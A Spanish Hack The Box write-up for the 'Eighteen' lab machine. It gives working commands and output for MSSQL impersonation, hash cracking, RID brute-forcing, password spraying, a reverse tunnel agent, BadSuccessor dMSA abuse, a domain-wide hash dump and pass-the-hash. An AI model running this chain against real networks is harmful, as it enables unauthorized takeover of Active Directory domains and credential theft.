Descripción

Eighteen es una máquina fácil de Hack The Box que cuenta con las siguientes vulnerabilidades:

  • Supuesto escenario de brecha de un Directorio Activo y enumeración de servicios
  • Suplantación de usuario de Microsoft SQL server para leer la base de datos del servicio web
  • Recuperación de contraseña mediante la recuperación de un hash encontrado en la base de datos MSSQL
  • Pivote de usuario mediante la reutilización de contraseña y enumeración de usuario mediante ataque de enumeración de RIDs
  • Escalada de privilegios mediante el grupo al que pertenece el usuario con la capacidad de escribir en un OU, explotando dMSA, utilizando el ataque BadSuccessor

Reconocimiento

Primero, vamos a comprobar con el comando ping si la máquina está activa y el sistema operativo. La dirección IP de la máquina objetivo es 10.129.71.55.

$ ping -c 3 10.129.71.55
PING 10.129.71.55 (10.129.71.55) 56(84) bytes of data.
64 bytes from 10.129.71.55: icmp_seq=1 ttl=127 time=47.7 ms
64 bytes from 10.129.71.55: icmp_seq=2 ttl=127 time=48.6 ms
64 bytes from 10.129.71.55: icmp_seq=3 ttl=127 time=47.8 ms

--- 10.129.71.55 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2005ms
rtt min/avg/max/mdev = 47.723/48.049/48.583/0.380 ms

La máquina está activa y con el TTL que iguala 127 (128 menos 1 salto) podemos asegurar que es una máquina Windows. Ahora vamos a realizar un escaneo de puertos TCP Nmap para verificar todos los puertos abiertos.

$ sudo nmap 10.129.71.55 -sS -Pn -oN nmap_scan
Starting Nmap 7.95 ( https://nmap.org )
Nmap scan report for 10.129.71.55
Host is up (0.048s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT     STATE SERVICE
80/tcp   open  http
1433/tcp open  ms-sql-s
5985/tcp open  wsman

Nmap done: 1 IP address (1 host up) scanned in 15.98 seconds

Encontramos los puertos abiertos 801433 y 5985.

Enumeración

Entonces realizamos un escaneo más avanzado, con versión del servicio y scripts.

$ nmap 10.129.71.55 -Pn -sV -sC -p80,1433,5985 -oN nmap_scan_ports
Starting Nmap 7.95 ( https://nmap.org )
Nmap scan report for 10.129.71.55
Host is up (0.048s latency).

PORT     STATE SERVICE  VERSION
80/tcp   open  http     Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Did not follow redirect to http://eighteen.htb/
1433/tcp open  ms-sql-s Microsoft SQL Server 2022 16.00.1000.00; RTM
|_ssl-date: 2025-11-16T02:03:25+00:00; +7h00m02s from scanner time.
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2025-11-13T19:00:09
|_Not valid after:  2055-11-13T19:00:09
| ms-sql-ntlm-info: 
|   10.129.71.55:1433: 
|     Target_Name: EIGHTEEN
|     NetBIOS_Domain_Name: EIGHTEEN
|     NetBIOS_Computer_Name: DC01
|     DNS_Domain_Name: eighteen.htb
|     DNS_Computer_Name: DC01.eighteen.htb
|     DNS_Tree_Name: eighteen.htb
|_    Product_Version: 10.0.26100
| ms-sql-info: 
|   10.129.71.55:1433: 
|     Version: 
|       name: Microsoft SQL Server 2022 RTM
|       number: 16.00.1000.00
|       Product: Microsoft SQL Server 2022
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433
5985/tcp open  http     Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 7h00m01s, deviation: 0s, median: 7h00m00s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.14 seconds

Encontramos un servicio de Microsoft SQL Server en ejecución en el servidor. Tenemos las credenciales del usuario keviniNa2we6haRj2gaw!, como una supuesta brecha. Verificamos.

$ netexec mssql 10.129.71.55 -u kevin -p 'iNa2we6haRj2gaw!' --local-auth
MSSQL       10.129.71.55  1433   DC01             [*] Windows 11 / Server 2025 Build 26100 (name:DC01) (domain:eighteen.htb)
MSSQL       10.129.71.55  1433   DC01             [+] DC01\kevin:iNa2we6haRj2gaw!

La credencial es válida para el servicio. Nos movemos al aplicativo web y agregamos el host eighteen.htb y el DC al archivo /etc/hosts.

$ echo '10.129.71.55 eighteen.htb' | sudo tee -a /etc/hosts
$ echo '10.129.71.55 DC01.eighteen.htb' | sudo tee -a /etc/hosts

Encontramos una aplicación web financiera en la que podemos iniciar sesión o crear una cuenta. Después de crear la cuenta, estamos en condiciones de usar la aplicación financiera en la que podemos ingresar nuestra ingresos y nuestros gastos. Encontramos una sección de administración, pero no podemos acceder con los privilegios actuales, Access denied. Admin privileges required.. Nos movemos a enumerar la base de datos de Microsoft SQL Server.

$ impacket-mssqlclient 'kevin:iNa2we6haRj2gaw!'@eighteen.htb                                    
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC01): Line 1: Changed database context to 'master'.
[*] INFO(DC01): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (160 3232) 
[!] Press help for extra shell commands
SQL (kevin  guest@master)> enum_db
name                is_trustworthy_on   
-----------------   -----------------   
master                              0   

tempdb                              0   

model                               0   

msdb                                1   

financial_planner                   0   

SQL (kevin  guest@master)> enum_impersonate
execute as   database   permission_name   state_desc   grantee   grantor   
----------   --------   ---------------   ----------   -------   -------   
b'LOGIN'     b''        IMPERSONATE       GRANT        kevin     appdev
SQL (kevin  guest@master)> use financial_planner;
ERROR(DC01): Line 1: The server principal "kevin" is not able to access the database "financial_planner" under the current security context.

Encontramos una base de datos relacionada con la aplicación web, financial_planner. No podemos enumerarla ya que no tenemos permisos. Pero podemos suplantar al usuario appdev, el cual tiene permisos para leer la base de datos y luego enumerar sus diferentes tablas, y específicamente la tabla users.

SQL (kevin  guest@master)> exec_as_login appdev
SQL (appdev  appdev@master)> use financial_planner;
ENVCHANGE(DATABASE): Old Value: master, New Value: financial_planner
INFO(DC01): Line 1: Changed database context to 'financial_planner'.
SQL (appdev  appdev@financial_planner)> select * from financial_planner.information_schema.tables;
TABLE_CATALOG       TABLE_SCHEMA   TABLE_NAME    TABLE_TYPE   
-----------------   ------------   -----------   ----------   
financial_planner   dbo            users         b'BASE TABLE'   

financial_planner   dbo            incomes       b'BASE TABLE'   

financial_planner   dbo            expenses      b'BASE TABLE'   

financial_planner   dbo            allocations   b'BASE TABLE'   

financial_planner   dbo            analytics     b'BASE TABLE'   

financial_planner   dbo            visits        b'BASE TABLE'   

SQL (appdev  appdev@financial_planner)> select * from users;
  id   full_name   username   email                  password_hash                                                                                            is_admin   created_at   
----   ---------   --------   --------------------   ------------------------------------------------------------------------------------------------------   --------   ----------   
1002   admin       admin      admin@eighteen.htb     pbkdf2:sha256:600000$AMtzteQIG7yAbZIa$0673ad90a0b4afb19d662336f0fce3a9edd0b7b19193717be28ce4d66c887133          1   2025-10-29 05:39:03

Encontramos el usuario admin con la contraseña en hash pbkdf2:sha256:600000$AMtzteQIG7yAbZIa$0673ad90a0b4afb19d662336f0fce3a9edd0b7b19193717be28ce4d66c887133 de tipo PBKDF2-SHA256. Vamos a romper el hash con la herramienta Hashcat, pero primero necesitamos hacer algunos cambios al hash para que sea aceptado por el programa. La primera parte con el tipo de hash y las rondas de hash se convertirá en pbkdf2_sha256$600000. Luego, el hash de la contraseña, que está en formato hexadecimal, 0673ad90a0b4afb19d662336f0fce3a9edd0b7b19193717be28ce4d66c887133, se convertirá en codificación Base64, resultando en BnOtkKC0r7GdZiM28Pzjqe3Qt7GRk3F74ozk1myIcTM=. El hash convertido completo es:

pbkdf2_sha256$600000$AMtzteQIG7yAbZIa$BnOtkKC0r7GdZiM28Pzjqe3Qt7GRk3F74ozk1myIcTM=

Explotación

Recuperamos la contraseña del hash.

$ hashcat hash.txt rockyou.txt
...
pbkdf2_sha256$600000$AMtzteQIG7yAbZIa$BnOtkKC0r7GdZiM28Pzjqe3Qt7GRk3F74ozk1myIcTM=:iloveyou1
...

La contraseña del administrador es iloveyou1. Podemos iniciar sesión en el sitio web y acceder al panel de administración, pero no encontramos nada de valor. Como tenemos dos contraseñas, vamos a realizar la técnica de RID-cycling para enumerar a todos los usuarios en el servidor a través del Microsoft SQL Server.

$ netexec mssql eighteen.htb -u kevin -p 'iNa2we6haRj2gaw!' --local-auth --rid-brute
MSSQL       10.129.71.55    1433   DC01             [*] Windows 11 / Server 2025 Build 26100 (name:DC01) (domain:eighteen.htb)
MSSQL       10.129.71.55    1433   DC01             [+] DC01\kevin:iNa2we6haRj2gaw! 
MSSQL       10.129.71.55    1433   DC01             498: EIGHTEEN\Enterprise Read-only Domain Controllers
MSSQL       10.129.71.55    1433   DC01             500: EIGHTEEN\Administrator
MSSQL       10.129.71.55    1433   DC01             501: EIGHTEEN\Guest
MSSQL       10.129.71.55    1433   DC01             502: EIGHTEEN\krbtgt
...
MSSQL       10.129.71.55    1433   DC01             1000: EIGHTEEN\DC01$
...
MSSQL       10.129.71.55    1433   DC01             1603: EIGHTEEN\HR
MSSQL       10.129.71.55    1433   DC01             1604: EIGHTEEN\IT
MSSQL       10.129.71.55    1433   DC01             1605: EIGHTEEN\Finance
MSSQL       10.129.71.55    1433   DC01             1606: EIGHTEEN\jamie.dunn
MSSQL       10.129.71.55    1433   DC01             1607: EIGHTEEN\jane.smith
MSSQL       10.129.71.55    1433   DC01             1608: EIGHTEEN\alice.jones
MSSQL       10.129.71.55    1433   DC01             1609: EIGHTEEN\adam.scott
MSSQL       10.129.71.55    1433   DC01             1610: EIGHTEEN\bob.brown
MSSQL       10.129.71.55    1433   DC01             1611: EIGHTEEN\carol.white
MSSQL       10.129.71.55    1433   DC01             1612: EIGHTEEN\dave.green

Encontramos los grupos HRIT y Finance y los usuarios jamie.dunnjane.smithalice.jonesadam.scottbob.browncarol.white y dave.green. Verificamos si alguno de los usuarios tiene el permiso de crear una sesión remota a través del protocolo WinRM en el puerto 5985.

$ netexec winrm eighteen.htb -u users -p passwords
WINRM       10.129.71.55    5985   DC01             [*] Windows 11 / Server 2025 Build 26100 (name:DC01) (domain:eighteen.htb)
...
WINRM       10.129.71.55    5985   DC01             [+] eighteen.htb\adam.scott:iloveyou1 (Pwn3d!)

Obtenemos una coincidencia para el usuario adam.scott, con la contraseña iloveyou1. Podemos desplegar una sesión remota.

$ evil-winrm-py -i eighteen.htb -u adam.scott -p 'iloveyou1'
          _ _            _                             
  _____ _(_| |_____ __ _(_)_ _  _ _ _ __ ___ _ __ _  _ 
 / -_\ V | | |___\ V  V | | ' \| '_| '  |___| '_ | || |
 \___|\_/|_|_|    \_/\_/|_|_||_|_| |_|_|_|  | .__/\_, |
                                            |_|   |__/  v1.5.0

[*] Connecting to 'eighteen.htb:5985' as 'adam.scott'
...
evil-winrm-py PS C:\Users\adam.scott\Documents> whoami
eighteen\adam.scott

Post-Explotación

Como no tenemos muchos puertos abiertos de la máquina para la enumeración del Active Directory, vamos a utilizar la herramienta ligolo-ng para mapear los puertos locales del Controlador de Dominio a la dirección IP 240.0.0.1. Comenzamos iniciando el proxy en nuestra máquina, creando una nueva interfaz de red y agregando la nueva ruta.

$ sudo ligolo-proxy -selfcert
...
INFO[0003] Listening on 0.0.0.0:11601
ligolo-ng » interface_create
INFO[0037] Generating a random interface name...        
INFO[0037] Creating a new exoticplastic interface...    
INFO[0037] Interface created!
ligolo-ng » route_add --name exoticplastic --route 240.0.0.1/32
INFO[0070] Route created.

Entonces enviamos el binario del agente ligolo-ng a la máquina remota y lo iniciamos.

evil-winrm-py PS C:\Users\adam.scott\Documents> upload ligolo-ng_agent_0.8.2_windows_amd64.exe .
evil-winrm-py PS C:\Users\adam.scott\Documents> .\ligolo-ng_agent_0.8.2_windows_amd64.exe -ignore-cert -connect 10.10.14.57:11601

Entonces en nuestra sesión de proxy iniciamos el túnel a la máquina.

ligolo-ng » session
? Specify a session : 1 - EIGHTEEN\adam.scott@DC01 - 10.129.71.55:49878 - 005056943eba
[Agent : EIGHTEEN\adam.scott@DC01] » tunnel_start --tun exoticplastic
INFO[0203] Starting tunnel to EIGHTEEN\adam.scott@DC01 (005056943eba)

Ahora necesitamos cambiar las direcciones IP que apuntan al dominio eighteen.htb en el archivo /etc/hosts a la dirección IP 240.0.0.1 (debemos eliminar las líneas anteriores).

$ echo '240.0.0.1 eighteen.htb DC01.eighteen.htb' | sudo tee -a /etc/hosts

Ahora podemos volver a escanear la máquina con la herramienta Nmap.

$ nmap 240.0.0.1 -Pn -sV -sC -oN nmap_scan_ports_2                  
Starting Nmap 7.95 ( https://nmap.org )
Nmap scan report for eighteen.htb (240.0.0.1)
Host is up (0.056s latency).
Not shown: 986 filtered tcp ports (no-response)
PORT     STATE SERVICE           VERSION
53/tcp   open  domain            Simple DNS Plus
80/tcp   open  http              Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Welcome - eighteen.htb
88/tcp   open  kerberos-sec      Microsoft Windows Kerberos
135/tcp  open  msrpc             Microsoft Windows RPC
389/tcp  open  ldap              Microsoft Windows Active Directory LDAP (Domain: eighteen.htb0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http        Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ldapssl?
1433/tcp open  ms-sql-s          Microsoft SQL Server 2022 16.00.1000.00; RTM
| ms-sql-info: 
|   240.0.0.1:1433: 
|     Version: 
|       name: Microsoft SQL Server 2022 RTM
|       number: 16.00.1000.00
|       Product: Microsoft SQL Server 2022
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433
| ms-sql-ntlm-info: 
|   240.0.0.1:1433: 
|     Target_Name: EIGHTEEN
|     NetBIOS_Domain_Name: EIGHTEEN
|     NetBIOS_Computer_Name: DC01
|     DNS_Domain_Name: eighteen.htb
|     DNS_Computer_Name: DC01.eighteen.htb
|     DNS_Tree_Name: eighteen.htb
|_    Product_Version: 10.0.26100
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
1434/tcp open  tcpwrapped
3268/tcp open  ldap              Microsoft Windows Active Directory LDAP (Domain: eighteen.htb0., Site: Default-First-Site-Name)
3269/tcp open  globalcatLDAPssl?
5985/tcp open  http              Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|_  start_date: N/A
|_clock-skew: mean: 7h00m38s, deviation: 0s, median: 7h00m38s
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 60.82 seconds

Encontramos los servicios comunes relacionados con un Controlador de Dominio de un Active Directory. Sincronizamos nuestro reloj con el de la máquina para evitar problemas futuros.

$ sudo timedatectl set-ntp off
$ sudo rdate -n eighteen.htb  

Enumerando el dominio con bloodyAD, encontramos que tenemos el permiso CREATE_CHILD sobre la unidad organizativa Staff (OU).

$ bloodyAD -u adam.scott -p iloveyou1 -d eighteen.htb --host 240.0.0.1 get writable
distinguishedName: CN=S-1-5-11,CN=ForeignSecurityPrincipals,DC=eighteen,DC=htb
permission: WRITE

distinguishedName: OU=Staff,DC=eighteen,DC=htb
permission: CREATE_CHILD

distinguishedName: CN=adam.scott,OU=Staff,DC=eighteen,DC=htb
permission: WRITE

La vulnerabilidad BadSuccessor, detallada por Akamai, abusa de dMSA para escalar privilegios en Active Directory. Cualquier usuario que tenga ya sea el permiso Create msDS-DelegatedManagedServiceAccount o Create all child objects en cualquier OU puede crear un dMSA. Podemos utilizar la herramienta SharpSuccessor desarrollada por logangoins, y su binario para explotar la vulnerabilidad. También utilizaremos una versión específica de Rubeus para generar los tickets después de la generación de la cuenta dMSA. Nos movemos a la terminal de la máquina remota.

evil-winrm-py PS C:\Users\adam.scott\Documents> upload SharpSuccessor.exe .
evil-winrm-py PS C:\Users\adam.scott\Documents> upload Rubeus.exe .

Comenzamos creando la cuenta maliciosa dMSA, especificando la ou=Staff,dc=eighteen,dc=htb OU, el nombre de usuario que queremos suplantar Administrator, nuestro nombre de usuario adam.scott y el nombre de la cuenta dMSA attacker_dMSA.

evil-winrm-py PS C:\Users\adam.scott\Documents> .\SharpSuccessor.exe add /impersonate:Administrator /path:"ou=Staff,dc=eighteen,dc=htb" /account:adam.scott /name:attacker_dMSA
[+] Adding dnshostname attacker_dMSA.eighteen.htb
[+] Adding samaccountname attacker_dMSA$
[+] Administrator's DN identified
[+] Attempting to write msDS-ManagedAccountPrecededByLink
[+] Wrote attribute successfully
[+] Attempting to write msDS-DelegatedMSAState attribute
[+] Attempting to set access rights on the dMSA object
[+] Attempting to write msDS-SupportedEncryptionTypes attribute
[+] Attempting to write userAccountControl attribute
[+] Created dMSA object 'CN=attacker_dMSA' in 'ou=Staff,dc=eighteen,dc=htb'
[+] Successfully weaponized dMSA object
[+] Found target account, attempting to write attributes
[+] CN=attacker_dMSA,OU=Staff,DC=eighteen,DC=htb written to Administrator object
[+] msDS-SupersededServiceAccountState set to 2
[!] Exception: Access is denied.

Obtenemos un error al final de la salida, pero podemos ignorarlo ya que el objeto dMSA malicioso se ha generado. Ahora vamos a generar un TGT (Ticket Granting Ticket) para nuestro usuario loggeado y guardarlo en el archivo adam.kirbi. Luego generaremos el TGS (Ticket Granting Service) para el servicio krbtgt para tener acceso a los servicios y recursos de credenciales. Lo guardaremos en el archivo kerberos.kirbi.

evil-winrm-py PS C:\Users\adam.scott\Documents> .\Rubeus.exe asktgt /user:adam.scott /password:iloveyou1 /enctype:aes256 /outfile:adam.kirbi
...
[*] Action: Ask TGT
[*] Got domain: eighteen.htb
[*] Using salt: EIGHTEEN.HTBadam.scott
[*] Using aes256_cts_hmac_sha1 hash: 02F93F7E9E128C32449E2F20475AFCDFB6CC2B4444AC8FD0B02406AF018F75E5
[*] Building AS-REQ (w/ preauth) for: 'eighteen.htb\adam.scott'
[*] Using domain controller: fe80::cfc4:b9ea:e167:eac8%3:88
[+] TGT request successful!
...
[*] Ticket written to adam.kirbi


  ServiceName              :  krbtgt/eighteen.htb
  ServiceRealm             :  EIGHTEEN.HTB
  UserName                 :  adam.scott (NT_PRINCIPAL)
  UserRealm                :  EIGHTEEN.HTB
  Flags                    :  name_canonicalize, pre_authent, initial, renewable, forwardable
  KeyType                  :  aes256_cts_hmac_sha1
  Base64(key)              :  1gygRu40XcXT7V88NjWhZe/x8nK2pieC5t9y1s3nhw4=
  ASREP (key)              :  02F93F7E9E128C32449E2F20475AFCDFB6CC2B4444AC8FD0B02406AF018F75E5
...
evil-winrm-py PS C:\Users\adam.scott\Documents> .\Rubeus.exe asktgs /targetuser:attacker_dmsa$ /service:krbtgt/eighteen.htb /opsec /dmsa /nowrap /ticket:adam.
kirbi /outfile:kerberos.kirbi
...
[*] Action: Ask TGS
[*] Requesting default etypes (RC4_HMAC, AES[128/256]_CTS_HMAC_SHA1) for the service ticket
[*] Building DMSA TGS-REQ request for 'attacker_dmsa$' from 'adam.scott'
[+] Sequence number is: 790749452
[*] Using domain controller: DC01.eighteen.htb (fe80::cfc4:b9ea:e167:eac8%3)
[+] TGS request successful!
...
  ServiceName              :  krbtgt/EIGHTEEN.HTB
  ServiceRealm             :  EIGHTEEN.HTB
  UserName                 :  attacker_dmsa$ (NT_PRINCIPAL)
  UserRealm                :  eighteen.htb
  Flags                    :  name_canonicalize, pre_authent, renewable, forwardable
  KeyType                  :  aes256_cts_hmac_sha1
  Base64(key)              :  Wk+IerNDhOfAl+27sTdGGxMPEvp+c3ZrJ4H8FvunKmk=
  Current Keys for attacker_dmsa$: (aes256_cts_hmac_sha1) C2DE20BCF425C24738054283C99700616FD1E17776561EB6C730805430A56544

[*] Ticket written to kerberos.kirbi

Ahora, recuperamos el ticket en nuestra máquina.

evil-winrm-py PS C:\Users\adam.scott\Documents> download kerberos.kirbi .

Después, lo convertimos con la herramienta impacket-ticketConverter a un formato ccache y luego lo usamos con la herramienta impacket-secretsdump para volcar todas las credenciales del dominio, para obtener el hash NTLM del usuario Administrator.

$ impacket-ticketConverter kerberos.kirbi kerberos.ccache
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] converting kirbi to ccache...
[+] done
$ KRB5CCNAME=./kerberos.ccache impacket-secretsdump "eighteen.htb/attacker_dmsa$"@dc01.eighteen.htb -k -no-pass -just-dc-ntlm
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:0b133be956bfaddf9cea56701affddec:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:a7c7a912503b16d8402008c1aebdb649:::
mssqlsvc:1601:aad3b435b51404eeaad3b435b51404ee:c44d16951b0810e8f3bbade300966ec4:::
eighteen.htb\jamie.dunn:1606:aad3b435b51404eeaad3b435b51404ee:9fbaaf9e93e576187bb840e93971792a:::
eighteen.htb\jane.smith:1607:aad3b435b51404eeaad3b435b51404ee:42554e3213381f9d1787d2dbe6850d21:::
eighteen.htb\alice.jones:1608:aad3b435b51404eeaad3b435b51404ee:43f8a72420ee58573f6e4f453e72843a:::
eighteen.htb\adam.scott:1609:aad3b435b51404eeaad3b435b51404ee:9964dae494a77414e34aff4f34412166:::
eighteen.htb\bob.brown:1610:aad3b435b51404eeaad3b435b51404ee:7e86c41ddac3f95c986e0382239ab1ea:::
eighteen.htb\carol.white:1611:aad3b435b51404eeaad3b435b51404ee:6056d42866209a6744cb6294df075640:::
eighteen.htb\dave.green:1612:aad3b435b51404eeaad3b435b51404ee:7624e4baa9c950aa3e0f2c8b1df72ee9:::
DC01$:1000:aad3b435b51404eeaad3b435b51404ee:d79b6837ac78c51c79aab3d970875584:::
attacker_dMSA$:12601:aad3b435b51404eeaad3b435b51404ee:02c3aa1ffe07dfe71f91b3222679ef57:::
[*] Cleaning up...

Obtenemos el hash NTLM del usuario Administrator, 0b133be956bfaddf9cea56701affddec y lo usamos para crear una sesión remota.

$ evil-winrm-py -i eighteen.htb -u Administrator -H '0b133be956bfaddf9cea56701affddec'
[*] Connecting to 'eighteen.htb:5985' as 'Administrator'
evil-winrm-py PS C:\Users\Administrator\Documents> whoami
eighteen\administrator

Flags

En la sesión de Administrator podemos recuperar las flags user.txt y root.txt.

evil-winrm-py PS C:\Users\Administrator\Documents> type C:\Users\adam.scott\Desktop\user.txt
<REDACTED>
evil-winrm-py PS C:\Users\Administrator\Documents> type C:\Users\Administrator\Desktop\root.txt
<REDACTED>